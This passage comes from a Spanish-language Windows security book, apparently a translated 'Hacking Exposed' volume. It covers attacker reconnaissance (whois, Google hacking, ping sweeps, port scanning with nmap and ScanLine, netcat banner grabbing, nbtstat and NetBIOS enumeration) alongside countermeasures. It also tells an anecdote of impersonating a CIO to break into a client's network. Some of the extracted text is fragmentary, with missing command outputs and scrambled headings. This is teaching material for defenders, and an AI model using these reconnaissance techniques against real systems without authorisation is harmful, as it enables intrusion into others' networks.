intentos que tienen éxito y los que no lo tienen.
En el caso de sistemas de Windows, recomendamos que la directiva de auditoría del sistema
se establezca en la configuración más agresiva (la auditoría está deshabilitada, como opción pre-
determinada). Es decir, habilite la auditoría de correcto/erróneo para todos los sucesos de Win-
dows, excepto por el rastreo de procesos, como se muestra en la figura 2-5.
Tome en cuenta que al habilitar la auditoría de acceso a objetos en realidad no se habilita la
auditoría de todos los accesos a objetos; sólo el posible acceso que puede ser auditado. Aún debe
especificarse la auditoría en cada objeto individual. En controladores de dominio de Windows,
la auditoría pesada de acceso a directorios puede llevar a un daño en el rendimiento. Asegúrese
de ajustar sus parámetros de auditoría al papel específico del sistema en cuestión.
Sugerencia El tamaño del Registro de sucesos y configuraciones relacionadas pueden establecerse centralmen-
te utilizando el Editor de objetos de directivas de grupos para editar la directiva del dominio; bus-
que bajo Configuración del equipo\Configuración de Windows\Configuración de seguridad\Registro
de sucesos.
Criptografía
En ese capítulo nos hemos concentrado principalmente en las características básicas de control
de acceso del sistema operativo, pero ¿qué pasa con características de seguridad más poderosas
como la criptografía? A partir de Windows 2000, cada cuenta de usuario recibió un par de claves
pública/privada, usadas por el sistema operativo para realizar muchas funciones importantes.
Un hacker malicioso que compromete una cuenta por lo general no tiene la capacidad de accesar
las claves criptográficas relacionadas con esa cuenta. Verá un ejemplo clásico de esto en el capí-
tulo 11, cuando exploremos cómo el sistema de archivo de cifrado (EFS, Encrypting File System)
usa claves criptográficas relacionadas con cuentas de usuario para cifrar archivos.
En la tabla 2-8 se presenta una lista de las ubicaciones de almacenamiento en Windows Ser-
ver 2003 para materiales criptográficos.
Sugerencia
Microsoft Outlook ofrece su propia interfaz para importación y exportación de claves S/MIME (usadas
para cifrar y firmar correo electrónico), pero no le permite establecer protección fuerte al acceso a la
clave privada. Debe usar el complemento Certificados de la MMC para importar claves S/MIME, si
quiere habilitar esta funcionalidad.
El .NET Framework
Un nuevo cambio importante hecho en Windows Server 2003 es la fuerte integración de .NET
Framework. Se trata de una plataforma de desarrollo diseñada para simplificar la creación de
aplicaciones distribuidas. Tiene varios componentes principales: el tiempo de ejecución de len-
guaje común (CLR, Common Language Runtime). La biblioteca de clases de .NET Framework y
los hosts del motor de tiempo de ejecución.
Archivo Ubicación
Enterprise.config %ruta de instalación de CLR%\Config\
Security.config %ruta de instalación de CLR%\Config\
Security.config %userprofile%\Application data\Microsoft\CLR security
config\%CLR version%\
RESUMEN
En este capítulo se cubrieron los siguientes puntos importantes:
• Todo el acceso a Windows es autentificado (aunque sea con la identidad Todos) y se crea
una ficha de acceso para todas las cuentas autentificadas con éxito. Esta ficha se usa
para autorizar todos los accesos posteriores a los recursos en el sistema por parte del
subsistema de seguridad (que compromete a los componentes de modo de usuario y
de kernel). A la fecha, nadie ha descubierto públicamente una técnica para vencer esta
arquitectura, aparte de ejecutar comandos arbitrarios en el modo de kernel, derrotando
la integridad de todo el sistema.
• Windows usa SID para identificar cuentas internamente; los nombres de cuenta
amigables son simples conveniencias. Recuerde usar el nombre de dominio o del
equipo antecedido con el nombre del usuario, cuando use el comando net use para
iniciar sesión en los sistemas remotos (Windows interpreta el SID, no el nombre de
cuenta amigable).
• Los miembros del grupo Administradores son el objetivo más jugoso en el sistema
local de Windows, porque heredan los mayores privilegios. Todas las demás cuentas
tienen privilegios muy limitados relacionados con los administradores. Comprometer
a un administrador es, por tanto, casi siempre el objetivo final de un atacante.
• Los Administradores de dominio y Administradores de organización son los objetivos
más jugosos en un dominio de Windows porque son todopoderosos en el dominio
o el bosque. El compromiso de una cuenta que ya es miembro de uno de estos
grupos, o la adición de una cuenta comprometida a los Administradores locales, los
Administradores de dominio o los Administradores de organización es, por tanto, casi
siempre el objetivo final de un atacante.
• El grupo Todos puede tomarse como impulso para tener un punto de avanzada en un
sistema de Windows sin autentificar. Además, se requiere la identidad INTERACTIVO
en muchas instancias para ejecutar ataques de escalada de privilegios contra Windows.
• La información de las cuentas se mantiene en el SAM (%systemroot%\system32\
config\sam) o Active Directory (%systemroot%\ntds\ntds.dit), como opción
predeterminada. Las contraseñas se revuelven de modo irreversible (se les aplica hash)
de modo tal que el texto limpio correspondiente no pueda derivarse directamente,
aunque pueda crackearse, como lo verá en el capítulo 7.
• Los controladores de dominio son los objetivos más probables de los ataques
maliciosos, porque albergan toda la información de las cuentas de un dominio
determinado. También es probable que, en un entorno de Windows, sean los sistemas
más asegurados y monitoreados, de modo que un plan común consiste en atacar
sistemas defendidos con menos eficiencia en un dominio y luego utilizar este punto
de apoyo temprano para obtener después el control completo de cualquier dominio
relacionado con él.
• La extensión del daño hecho a través del compromiso de un solo sistema aumenta en
gran medida cuando las cuentas de un dominio son autentificadas en otro dominio
mediante el uso de confianzas.
• El límite de confianza en Windows 2000 y posterior es el bosque, no el dominio, como
en NT. Las confianzas de bosques son posibles en modo nativo de Windows Server
2003 y posterior.
Referencias generales
Architectura de http://en.wikipedia.org/wiki/Architecture_of_Windows_NT
Windows NT
Explotación 802.11 de vulnerabi- http://uninformed.org/?v=6&a=2&t=sumry
lidad de unidad inalámbrica en
Windows
Incidente con el “rootkit” de Sony www.securityfocus.com/brief/45
Omisión de PatchGuard en Win- http://uninformed.org/?v=3&a=3&t=sumry
dows x64
Subversión de PatchGuard ver- http://uninformed.org/?v=6&a=1&t=sumry
sión 2
Modelo de control de acceso http://msdn2.microsoft.com/en-us/library/aa374876.aspx
Objetos asegurables http://msdn2.microsoft.com/en-us/library/aa379557.aspx
Seguridad en Windows Vista y http://technet.microsoft.com/en-us/windowsvista/aa905073.aspx
mejoras en la protección de datos,
incluido el endurecimiento del
servicio
Control obligatorio de integridad http://blogs.technet.com/steriley/archive/2006/07/21/442870.aspx
(MIC)
Herramientas y configuraciones http://technet2.microsoft.com/windowsserver/en/library/1bc9569c-
de directivos de seguridad 4ef1-40d2-822d-19d9a2a7665d1033.mspx?mfr=true
Referencia Ubicación
Guía de seguridad de Microsoft’s http://microsoft.com/downloads/details.aspx?FamilyId=
Windows Server 2003 8A2643C1-0685-4D89-B655-521EA6C7B4DB
Criterios comunes para eva- www.commoncriteriaportal.org
luación de la seguridad en tec-
nología de la información (CCI-
TSE) o Criterios comunes (CC)
Revisión general de Active Direc- http://en.wikipedia.org/wiki/Active_Directory
tory de Microsoft
Derechos de usuario en Windows http://www.microsoft.com/resources/documentation/windows/xp/
Server 2003 all/proddocs/en-us/uratopnode.mspx?mfr=true
Windows Vista para desarrolla- http://weblogs.asp.net/kennykerr/archive/2006/09/29/Windows-Vista-
dores, parte 4: control de cuenta for-Developers-_1320_-Part-4-_1320_-User-Account-Control.aspx
de usuario
Q143475, “Clave de Windows http://support.microsoft.com/support/kb/articles/q143/4/75.asp
NT del sistema permite cifrado
seguro del SAM”
Sitio de Luke Kenneth Casson www.cb1.com/~lkcl/
Leighton, un gran recurso para
información de autentificación en
Windows
Libros recomendados
Inside Windows 2000, 3a edición por Solomon & Russinovich. Microsoft Press (2000)
Undocumented Windows NT por Dabak, Phadke, and Borate. IDG Books (1999)
DCE/RPC over SMB: Samba and por Luke Kenneth Casson Leighton. SAMS (1999)
Windows NT Domain Internals
.NET Framework Security por Brian A. LaMacchia et al. Pearson Education (2002)
Hacking Exposed Web Applications, por Joel Scambray, Mike Shema y Caleb Sima. McGraw-Hill (2006)
2a. Edición
capítulo 3
e c c i ó n
rec o l n
m a c i ó
f o r
de in t r e o
y ras
53
T
odos hemos oído la frase “espiar el establecimiento”, porque se usa para describir las fa-
ses preparatorias de un robo bien planeado. La recolección de información y el rastreo
son el equivalente digital de espiar el establecimiento.
La recolección de información podría considerarse el equivalente de buscar en el directorio
telefónico los números y las direcciones relacionados con un objetivo corporativo, mientras que
el rastreo (exploración) es similar a ir al lugar en cuestión e identificar cuáles edificios están ocu-
pados y cuáles puertas y ventanas pueden estar disponibles para acceso. La recolección de infor-
mación y el rastreo representan la identificación de destinos en los que se puede irrumpir y las
vías disponibles de entrada y son el primer paso crítico en la metodología del atacante de Win-
dows. Resulta claro que atacar la casa equivocada o pasar por alto la puerta de al lado que no
tiene cerradura puede descarrilar rápidamente un ataque o la auditoría de penetración legítima
de una organización.
RECOLECCIÓN DE INFORMACIÓN
Recolección de información es el proceso de creación de un perfil completo de la situación en tec-
nología de la información (IT, Information Technology) del objetivo, que suele abarcar las si-
guientes categorías:
de esta guerra que gira alrededor de las oficinas distribuidas de la corporación, o la evalua-
ción de los sistemas de punto de venta también son buenos ejemplos de tipos de investigación
no orientada a Windows. No se quiere decir con esto que este análisis no sea crítico para estimar
la postura general de una organización, sino que suele requerir técnicas analíticas interdiscipli-
narias que no necesariamente están centradas en Windows.
Nos concentraremos brevemente en la recopilación de información de sistemas de Windows
vía Internet, porque suele ser la fuente de las fugas de información más peligrosas acerca de la
presencia en línea de una organización.
Whois
Popularidad: 6
Simplicidad: 9
Impacto: 1
Clasificación de riesgo: 5
Los datos consultados mediante whois están dispersos en diversos servidores de todo el
mundo por razones técnicas y políticas. Para complicar las cosas, la sintaxis de consulta de
WHOIS, el tipo de consultas permitido, los datos disponibles y el formato de los resultados pue-
de variar ampliamente entre un servidor y otro. Más aún, muchos de los registradores están res-
tringiendo activamente las consultas a spammers combativos, hackers y sobrecarga de recursos
(por cierto, la información para .mil y .gob se ha extraído por completo de la vista del público
debido a problemas de seguridad nacional). Por último, los nombres de dominio de Internet
(como winhackingexposed.com) están registrados de manera separada de las direcciones numé-
ricas [como direcciones IP, bloques de red, números de sistema autónomo del protocolo de ga-
teway límite (BGP, Border Gatewy Protocol), etc.], de modo que deben aplicarse generalmente
dos metodologías separadas de whois para desarrollar información completa acerca de un obje-
tivo. A pesar de estas peculiaridades, whois sigue siendo una de las herramientas disponi-
bles más efectivas para minado de datos de presencia de Internet, de modo que analizaremos
aquí algunas de las técnicas más prominentes para explotarlo.
Una estupenda herramienta para la realización de muchos tipos de consultas en Internet es
Sam Spade, que se incluye en la versión Win32 y cuya interfaz Web está disponible junto con
la versión en http://sampspade.org. La herramienta de Sam Spade se muestra en la figura 3-1,
realizando una consulta de nombre de dominio que revela números telefónicos de contacto ad-
ministrativos.
Figura 3-1 La herramienta de consulta whois de Sam Spade revela información de punto de contacto
acerca de un objetivo corporativo
Mucha de la información revelada por whois puede parecer inocua, pero para resaltar los
posibles riesgos, siempre nos gusta relatar una de nuestras anécdotas favoritas de consultoría,
relacionada con una compañía de tecnología de tamaño medio que publicó el nombre de su di-
rector de información, línea de teléfono directo y dirección de correo electrónico como informa-
ción de punto de contacto para la organización en uno de los grandes registros de Internet. Por
tanto, la obtención de esta información era trivial empleando una consulta whois POC. Utilizan-
do esta información para hacernos pasar como el director de información, rápidamente obtuvi-
mos acceso remoto a varios recursos internos valiosos en el cliente y unos días después habíamos
comprometido toda la infraestructura de red de la compañía.
Sam Spade es eficiente en varios tipos de consulta whois y puede buscar en muchas bases de
datos whois diferentes en Internet (registros de nombre de dominio, bases de datos de direccio-
nes IP, etc.). También realiza muchas tareas más que sólo whois, incluidas ping, traza de ruta,
búsqueda a profundidad, transferencias de zona DNS, revisión de retransmisión SMTP, rastreo
de sitios Web y mucho más. Realmente es una utilería práctica.
Como se indicó antes, la información de dirección IP se almacena en un conjunto separado
de registros de datos de nombre de dominio. Aunque Sam Spade puede consultar registros de
direcciones IP, en ocasiones nos resulta útil visitarlos directamente. El American Registry for In-
ternet Numbers (ARIN) es el cuerpo oficial para asignar bloques de direcciones IP en Estados
Unidos y ofrece una herramienta whois basada en Web para búsqueda en su base de datos en
http://arin.net/whois. Por supuesto, necesitará consultar otros registros como Asia-Pacific
Network Information Center (APNIC) y Réseaux IP Européens (RIPE) para bloques que no se
encuentran en Estados Unidos. En la figura 3-2 se muestra una consulta de ejemplo contra el
nombre de empresa “Foundstone” que se ejecutó usando la herramienta whois Web de ARIN.
Figura 3-2 Una consulta contra “Foundstone” ejecutada mediante la herramienta Web whois de ARIN
proporciona los bloques de direcciones IP que definen la presencia en Internet de la empresa
Figura 3-3 Uso de Google para encontrar sistemas de Windows en el dominio de nivel superior “.com”
para usar Google con el fin de encontrar los datos más alarmantemente confidenciales es j0hnny,
cuya Google Hacking Database en http://johnny.ihackstuff.com/ghdb.php simplemente lo de-
jará perplejo con las cosas que pueden encontrarse con búsquedas simples.
El principal culpable detrás de este problema es la colocación de rutas de archivo revelado-
ras en el HTML de una página Web. Debido a que los motores de búsqueda como Google sim-
plemente indizan el contenido de los sitios de Internet, lo convierten en un índice práctico de los
sitios que contienen cadenas como c:\winnt y similares. Uno de los mejores ejemplos de esto es
cuando el título de una página Web contiene información acerca de la ruta a un documento. (El
título puede encontrarse dentro de las etiquetas <title> </title>.) En ocasiones, Microsoft
FrontPage inserta automáticamente la ruta completa a un documento cuando genera HTML, de
modo que esté consciente de que este comportamiento puede ofrecer más información acerca
de sus sistemas de la que quisiera compartir.
RASTREO
Suponiendo que se ha obtenido una adecuada recopilación de información, el siguiente paso es
identificar cuáles sistemas están “vivos” dentro de los rangos de red y qué servicios ofrecen.
Para regresar brevemente a nuestra analogía de espiar el establecimiento, el rastreo es como
identificar la ubicación del establecimiento y catalogar sus puertas y ventanas. El rastreo abarca
estos tres componentes principales:
• Barridos de ping
• Rastreo de puertos
• Obtención de anuncios
Sugerencia
Una vez más, aquí nos concentraremos en Windows, pero resulta evidente que el rastreo es aplicable
a todas las tecnologías, sean fabricadas por Microsoft o no.
Barridos de ping
Popularidad: 5
Simplicidad: 5
Impacto: 1
Clasificación de riesgo: 4
La solicitud de eco del protocolo de mensajes de control de Internet (ICMP, Internet Control
Message Protocol), mejor conocida como ping, por la utilería que realiza esas solicitudes, se ha
usado tradicionalmente para determinar si un host TCP/IP está vivo. Es probable que cualquier
persona que esté leyendo este libro haya usado ping en un momento u otro, pero he aquí una
rápida ilustración de la utilería ping integrada de Windows para aquellos pocos que han pasado
su vida entre algodones hasta este punto.
C:\>ping www.victima.tst
Un host vivo responderá con una respuesta de eco de ICMP, o ping, propio, y si no surge ningún
otro factor de restricción entre el emisor y el receptor del ping, se genera esta respuesta. Si no
existe el host remoto o está temporalmente inalcanzable, el ping se perderá y surgirán varios
mensajes de error.
El ping es una manera verdaderamente eficiente de identificar hosts vivos, sobre todo cuan-
do se usa para realizar “barridos de ping”, que, como su nombre lo indica, barre redes enteras
usando ping para identificar todos los hosts vivos. Por desgracia, casi todas las redes conectadas
a Internet bloquean los ping hoy en día, de modo que una falla en recibir una respuesta de un
ping de un sistema por lo general significa que una firewall o un enrutador intermedio está blo-
queando ICMP y no se puede obtener información acerca de si existe o no el host.
Por tanto, aunque los barridos de ping siguen siendo útiles para “localización de eco” rápida y
sucia en redes de Internet, en realidad no son efectivos para análisis de seguridad. Una mejor ma-
nera de identificar hosts vivos consiste en determinar si están ejecutando algún servicio, lo que se
logra mediante el rastreo de puertos. Casi todas las herramientas de rastreo de puertos incorporan
funcionalidad simultánea de barrido de ping, así que hablemos de los rastreadores de puertos.
Rastreadores de puertos
Popularidad: 9
Simplicidad: 5
Impacto: 2
Clasificación de riesgo: 5
Variaciones del rastreo de puertos Diversas variaciones en el rastreo de conexión TCP estándar es-
tán diseñadas para mejorar la exactitud, la rapidez y el sigilo. Para un buen análisis del rastreo
de puertos en todas sus formas, consulte www.insecure.org/nmap. A continuación se presentan
las variaciones más prácticas.
Figura 3-4 El saludo de tres vías de TCP, bloque de construcción del rastreo de puertos TCP clásico
• Rastreo SYN Al prescindir del último paquete SYN en el saludo de tres vías, puede
evitarse una tercera parte del trabajo adicional de un rastreo de “conexión” TCP,
aumentando así la velocidad cuando se rastrea una gran cantidad de sistemas. El
SYN/ACK se usa para medir el estado del puerto en cuestión.
• Rastreo UDP Una variación obvia utilizada para identificar servicios que no son
TCP, como un protocolo simple de administración de red (SNMP, Simple Network
Management Protocol). Por lo general, el rastreo del protocolo de datagrama de
usuario (UDP, User Datagram Protocol) envía un paquete UDP al puerto en cuestión,
y si se recibe un mensaje de “puerto ICMP inalcanzable”, entonces marca el servicio
como no disponible. Si no se recibe respuesta, el servicio se marca como escuchando.
Esto puede dar como resultado falsos positivos en caso de congestión de la red o si el
control de acceso bloquea UDP; por tanto, el rastreo UDP es, en esencia, poco confiable.
Las mejores herramientas de rastreo de puertos realizan todos estos tipos de rastreos, y más.
Echemos un vistazo a algunos de los más flexibles rastreadores de puertos.
La versión de Windows viene ahora con un autoinstalador que instala automáticamente las de-
pendencias (como Winpcap) y configura detalles de rendimiento. La única desventaja de nmap
es que su gran volumen de características vuelve un poco desafiante el aprendizaje para usarlo
de manera efectiva sin una práctica sustancial (o un buen tutor). A continuación se muestra un
simple rastreo completo de puertos de un controlador de dominio Longhorn Server Build 1715
empleando nmap:
Otro buen rastreador de línea de comandos es ScanLine (antes denominado fscan). Aunque
carece de la gran cantidad de características que tiene nmap, cubre de manera muy elegante los
fundamentos:
La siguiente sintaxis de ScanLine ejemplifica un rastreo simple para servicios que se encuen-
tran a menudo ejecutando en sistemas de Windows. No significa que sea un rastreo exhaustivo,
sino que es una manera muy rápida y exacta de determinar si hay sistemas Windows conectados.
El interruptor –bpz indica a ScanLine que obtenga anuncios (b), que no haga ping en cada
host antes de rastrearlo (p) y que no ordene de manera aleatoria los puertos (z). El interruptor –c
establece un tiempo de espera de 300 milisegundos para una respuesta de un puerto, permitien-
do rastreos más rápidos (la opción predeterminada es 4000). Los interruptores –t y –u definen
que habrán de rastrearse los puertos TCP y UDP, respectivamente. Por último, el último argu-
mento de comando especifica el rango de direcciones IP que habrá de rastrearse (puede especifi-
car un rango de direcciones IP, una lista delimitada por comas o una combinación de ambos, tal
como están definidos los puertos). He aquí cómo podría ser la salida de este tipo de rastreo:
10.0.0.1
Responds with ICMP unreachable: Yes
TCP ports: 53 80 88 135 139 389 445 3389
UDP ports: 88 137 500
TCP 80:
[HTTP/1.1 200 OK Content-Length: 1433 Content-Type: text/html
Content-Location: http://192.168.234.244/iisstart.htm
Last-Modified: Sat, 22 Feb 2003 01:48:30 G]
TCP 389:
[0 a]
Observe que aparecen en la lista todos los puertos activos y que se han obtenido los anuncios
de algunos puertos (por ejemplo, al parecer el sistema está ejecutando un servidor Web en el
puerto 80). Este rastreo determinado promedia alrededor de 80 puertos por segundo en una co-
nexión LAN.
En la tabla 3-2 se presenta una lista de varios servicios TCP y UDP que suelen encontrarse
escuchando en productos de Windows. Aunque algunos de estos puertos son comunes a mu-
chos sistemas operativos orientados a Internet (por ejemplo, TCP 80/HTTP), los que aparecen
en negritas son específicos de productos de Windows (por ejemplo, TCP 445/SMB sobre TCP).
También puede usar esos puertos como archivos para su propia rutina de ScanLine o nmap, o
analizar sintácticamente la salida de cualquier herramienta que busque estos puertos, si está in-
teresado en encontrar sistema y servicios de Windows.
He aquí algunas cosas que deben tomarse en cuenta acerca de la tabla 3-2:
Esta pequeña parte de trivialidad debe permitirle distinguir entre miembros de la familia Win-
dows, si todos estos puertos se muestran en los resultados del rastreo de puertos.
Un punto final acerca de la tabla 3-2. Desde Windows XP Service Pack 2, Microsoft ha imple-
mentado la Firewall de Windows para bloquear todos esos puertos, como opción predetermina-
da, de modo que no los verá en los resultados del rastreo de puertos. Una excepción interesante
son los servidores de Windows que se han promovido a controladores de dominio que presenta-
rán una listas de varios de estos servidores como disponibles. Recuerde nuestra prueba de un con-
trolador de dominio predeterminado Longhorn Server Build 1715 empleando nmap en páginas
anteriores de este capítulo. Como puede ver de éste y otros resultados de prueba de rastreador en
esta sección, varios servicios están escuchando como opción predeterminada en controladores de
dominio de Longhorn (por lo menos en la construcción previa a la versión), y también fue permi-
tido el ping. Validamos estos resultados al ejecutar netstat en el host de destino, y todos menos un
FTP estaban en realidad escuchando (no estamos seguros por qué FTP apareció en esta prueba en
particular). La Firewall de Windows estaba activada y en su configuración predeterminada. Casi
todos estos servicios están relacionados con la funcionalidad de dominio de Windows, de modo
que este resultado no es inesperado. Pero aún es sorprendente ver que todos estos servicios que
pueden ser explotables están accesibles como opción predeterminada en controladores de domi-
nio que se supone son guardianes de la infraestructura de dominio de Windows.
Sugerencia Las solicitudes de eco son sólo uno de los 17 tipos de paquetes ICMP. Si es necesario algún acceso
ICMP, considere con cuidado cuáles tipos de tráfico ICMP pasar. Un método minimalista puede ser
permitir sólo los paquetes ICMP ECHO-REPLY, HOST UNREACHABLE y TIME EXCEEDED en la
red DMZ.
En el caso de hosts independientes, deshabilite los servicios innecesarios para que no se re-
gistren en los rastreos de puertos. En el capítulo 4 se analizan las estrategias para deshabilitar los
servicios específicos de Windows TCP/UDP 135-139 y 445.
También es una buena idea configurar la Firewall de Windows (o los filtros IPSec basados en
hosts en versiones anteriores de Windows que carecen de firewall) para bloquear todos los
servicios, excepto los que se necesiten de manera explícita, aunque los haya deshabilitado o
bloqueado en la firewall. La defensa a profundidad crea una seguridad más robusta y evita
un lapso de seguridad si alguien habilita inadvertidamente un servicio no autorizado en el
sistema.
NOTA Asegúrese de establecer la clave de Registro NoDefaultExempt cuando use IPSec para deshabilitar
la exención para Kerberos y el tráfico del protocolo de configuración de reservación de recursos
(RSVP, Resource Reservation Setup Protocol).
Los administradores y asesores de seguridad que realizan rastreo de red autorizado recono-
cen que los IDS pueden detectar barridos de ping y rastreos de puertos. Aunque el volumen de
esta actividad en Internet es tan grande que probablemente sea un desperdicio de tiempo ras-
trear estos sucesos de manera religiosa, la directiva de su organización puede variar sobre la
cantidad de monitoreo de rastreos que debe realizarse.
Obtención de anuncios
Popularidad: 9
Simplicidad: 5
Impacto: 2
Clasificación de riesgo: 5
La obtención de anuncios puede realizarse contra puertos individuales empleando una he-
rramienta simple como telnet o netcat. He aquí un ejemplo de obtención de anuncios usando
netcat y el método HEAD de HTTP (CRLF indica un retorno de carro).
En lugar de recordar sintaxis posiblemente complejas para cada servicio, basta con que la
escriba en un archivo de texto y la redirija a un socket de netcat. Por ejemplo, tome el comando
HEAD / HTTP/1.0 [CRLF][CRLF] y escríbalo en un archivo llamado head.txt. Luego simple-
mente redireccione head.txt a través de un socket abierto de netcat así:
c:\>nc –vv victima.com 80 < head.txt
El resultado es exactamente el mismo que escribir los comandos una vez que la conexión está
abierta.
autorizados del sistema serán perseguidos de acuerdo con la ley y que cualquier uso indica con-
sentimiento de que se le monitoree y que se registren sus actividades.
RESUMEN
En este capítulo, hemos identificado varios hosts y servicios de Windows, aunque otros adicio-
nales pueden permanecer sin descubrir detrás de enrutadores y firewalls. El siguiente paso con-
siste en probar aún más estos servicios.
Referencia Ubicación
Google www.google.com
SuperScan www.foundstone.com/us/resources/proddesc/
superscan4.htm
ScanLine www.foundstone.com/us/resources-free-tools.asp
Netcat winhackingexposed.com/nc.zip
Referencias generales
Interfaz Web whois de ARIN (también www.arin.net/whois
busque RIPE y APNIC para información de
Internet que no pertenece a Estados
Unidos)
Asignaciones de número de puerto de www.iana.org/assignments/port-numbers
IANA
Detección de sistema operativo insecure.org/nmap/osdetect/
Hacking Exposed: Network Security Secrets por Stuart McClure, Joel Scambray y George Kurtz,
and Solutions, 5a. Edición McGraw-Hill (2005)
capítulo 4
c i ó n
enu mera
73
S
uponiendo que la recolección o recopilación de información y el rastreo no han ofrecido
ninguna avenida inmediata para la conquista, un atacante pasará enseguida a identificar
información más detallada acerca de las posibles víctimas, incluidos nombres de cuenta de
usuario válidos o recursos compartidos mal protegidos. Pueden usarse muchos métodos para
extraer esta información de Windows, proceso al que llamamos enumeración.
La diferencia clave entre las técnicas de acopio de información analizadas y la enumeración
está en el nivel de la intrusión: la enumeración incluye conexiones activas a los sistemas y con-
sultas dirigidas (entre algunas excepciones podría incluirse la enumeración pasiva a través del
perfilado de pila IP o el espionaje (olfateo) en modo promiscuo). Como tales, pueden (¡y deben!)
registrarse u observarse de otra manera. Le mostraremos lo que debe buscar y cómo bloquearlo,
si es posible.
Mucha de la información reunida mediante la enumeración podría parecer inofensiva, a pri-
mera vista. Sin embargo, la información que se fuga por los siguientes agujeros puede ser su
ruina, como trataremos de ilustrar en este capítulo. En general, una vez que se enumera un nom-
bre de usuario o un recurso compartido, sólo es cuestión de tiempo antes de que el intruso adi-
vine la contraseña correspondiente o identifique alguna debilidad relacionada con el protocolo
de intercambio de recursos. Al elegir estos escapes de fácil corrección, se elimina el primer pun-
to de apoyo del hacker malicioso.
Nuestro análisis de la enumeración de Windows se concentrará en los siguientes temas:
Primero, revisemos la información que hemos reunido hasta ahora para establecer cómo va-
mos a proceder.
Puerto Servicio
TCP 53 Transferencia de zona DNS
TCP 135 Mapeador de extremo RPC de Microsoft
UDP 137 Servicio de nombres de NetBIOS (NBNS)
TCP 139 Servicio de sesión de NetBIOS (SMB sobre NetBIOS)
TCP 445 SMB sobre TCP (host directo)
UDP 161 Protocolo simple de administración de red (SNMP)
TCP/UDP 389 Protocolo ligero de acceso a directorios (LDAP)
TCP/UDP 3268 Servicio de catálogo global
TCP 3389 Servicios de terminal
Tabla 4-1 Servicios de Windows que suelen estar bajo la mira de los ataques de enumeración
los nombres de NetBIOS son principalmente intercambiables (por ejemplo, \\192.168.202.5 pue-
de ser equivalente de \\NOMBRE_SERVIDOR). Por conveniencia, los atacantes con frecuencia
agregarán entradas apropiadas a su archivo %systemroot%\system32\drivers\etc\LMHOSTS,
junto con la sintaxis #PRE, y luego ejecuta nbtstat –R en una línea de comandos para recargar
la caché de la tabla de nombres. Entonces quedan liberados para usar el nombre de NetBIOS
en ataques futuros, y se mapearán de manera transparente a la dirección IP especificada en
LMHOSTS.
Esté al pendiente cuando establezca sesiones usando nombres de NetBIOS en comparación
con direcciones IP. Todos los comandos subsecuentes deben lanzarse contra el objetivo original.
Por ejemplo, si establece una sesión nula (consulte la siguiente sección) con \\192.168.2.5 y lue-
go intenta extraer información mediante esta sesión nula usando el nombre de NetBIOS del mis-
mo sistema, no obtendrá un resultado. Windows recuerda cuál nombre especificó, ¡aunque a
usted se le olvide!
mecanismo basado en host para lograr esto, y la configuración predeterminada por lo general
bloquea estos servicios de manera predeterminada (esté consciente de que la actualización a ver-
siones más recientes de Windows puede dejar intacta la configuración heredada).
En Vista y Windows Server 2008, el Firewall de Windows viene preconfigurado para blo-
quear casi toda la conectividad entrante usando el perfil Público (los perfiles Privado y Dominio
permiten más servicios). Además, tome en cuenta que con el firewall de Windows en Vista y
posteriores, puede filtrar conexiones seguras (es decir, las que se originan a partir de usuarios o
equipos específicos y se autentifican o cifran utilizando IPSec), además de direcciones IP. Más
aún, estas características pueden controlarse empleando Directivas de Grupo entre dominios de
Windows. En la figura 4-1 se muestran las opciones de configuración del Firewall de Windows
para filtrar conexiones entrantes al servicio de nombres de NetBIOS (NBNS), que es uno de los
servicios contra los que demostraremos ataques en este capítulo.
Sugerencia
En Vista y Windows Server 2008, para obtener acceso a las configuraciones avanzadas del firewall,
cárguelo con el complemento Seguridad avanzada de la MMC (Inicio | Ejecutar | “wf.msc”) en lugar
de la applet Firewall de Windows predeterminada en el Panel de control. Esto le dará visibilidad y
control sobre las reglas del Firewall actual y otras configuraciones administrativas.
Figura 4-1 Opciones del Firewall de Vista (con Seguridad avanzada) para filtrar servicios entrantes
(en este ejemplo, NBNS)
CORLEONE
BARZINI_DOMAIN
TATAGGLIA_DOMAIN
COLICOLI
Otra estupenda herramienta integrada es nbtstat, que llama a la tabla de nombres de Net-
BIOS desde un sistema remoto. La Tabla de nombres contiene una gran cantidad de informa-
ción, como se muestra en el siguiente ejemplo:
C:\>nbtstat -A 192.168.202.33
Conexión de área local:
Dirección IP: [192.168.234.244] Id. de ámbito : [ ]
NetBIOS Remote Machine Name Table
Nombre Tipo Estado
Como se muestra, nbtstat extrae el nombre del sistema (CAESARS), el dominio o grupo de
trabajo en que se encuentra (VEGAS2) y la dirección de control de acceso a medios (MAC, Media
Access Control). Estas entidades pueden identificarse por sus sufijos de NetBIOS (el número
hexadecimal de dos dígitos que se encuentra a la derecha del nombre), que aparecen en la lista
de la tabla 4-2.
Versiones anteriores de Windows entregarían información acerca de cualquier usuario que
haya iniciado sesión en la salida de nbtstat. Como opción predeterminada en versiones más re-
cientes de Windows, el servicio Messenger está deshabilitado, por lo que la salida de nbtstat ya
no contiene esta información. Como puede ver en la tabla 4-2, los usuarios que han iniciado se-
sión normalmente tendrían una entrada en la tabla de nombres de NetBIOS para el servicio de
Messenger (vea la fila que empieza con <nombreusuario>). Debido a que este servicio está desha-
bilitado como opción predeterminada en versiones más recientes de Windows, la tabla de nom-
bres de NetBIOS no puede usarse para validar la identidad de nombres de cuenta en el
servidor.
Tipo de
Nombre de NetBIOS Sufijo nombre Servicio
<nombre equipo> 00 U Estación de trabajo
<nombre equipo> 01 U Messenger (para mensajes enviados a
este equipo)
<_MS_BROWSE_> 01 G Explorador principal
<nombre equipo> 03 U Messenger
<nombre equipo> 06 U Servidor RAS
<nombre equipo> 1F U NetDDE
<nombre equipo> 20 U Servidor
<nombre equipo> 21 U Cliente RAS
<nombre equipo> 22 U Intercambio de MS Exchange
<nombre equipo> 23 U Almacén de MS Exchange
<nombre equipo> 24 U Directorio de MS Exchange
<nombre equipo> 30 U Servidor compartido de módem
<nombre equipo> 31 U Cliente compartido de módem
<nombre equipo> 43 U Control remoto de clientes de SMS
<nombre equipo> 44 U Herramienta de control remoto de SMS
<nombre equipo> 45 U Chat remoto de cliente de SMS
<nombre equipo> 46 U Transferencia remota de cliente de SMS
<nombre equipo> 4C U DEC Pathworks TCPIP
<nombre equipo> 52 U DEC Pathworks TCPIP
<nombre equipo> 87 U MTA de MS Exchange
<nombre equipo> 6A U Agente de Netmon
<nombre equipo> BF U Aplicación de Netmon
<nombreusuario> 03 U Servicio de Messenger (para mensajes
enviados a este usuario)
Tipo de
Nombre de NetBIOS Sufijo nombre Servicio
<nombre dominio> 00 G Nombre de dominio
<nombre dominio> 1B U Explorador maestro de dominio
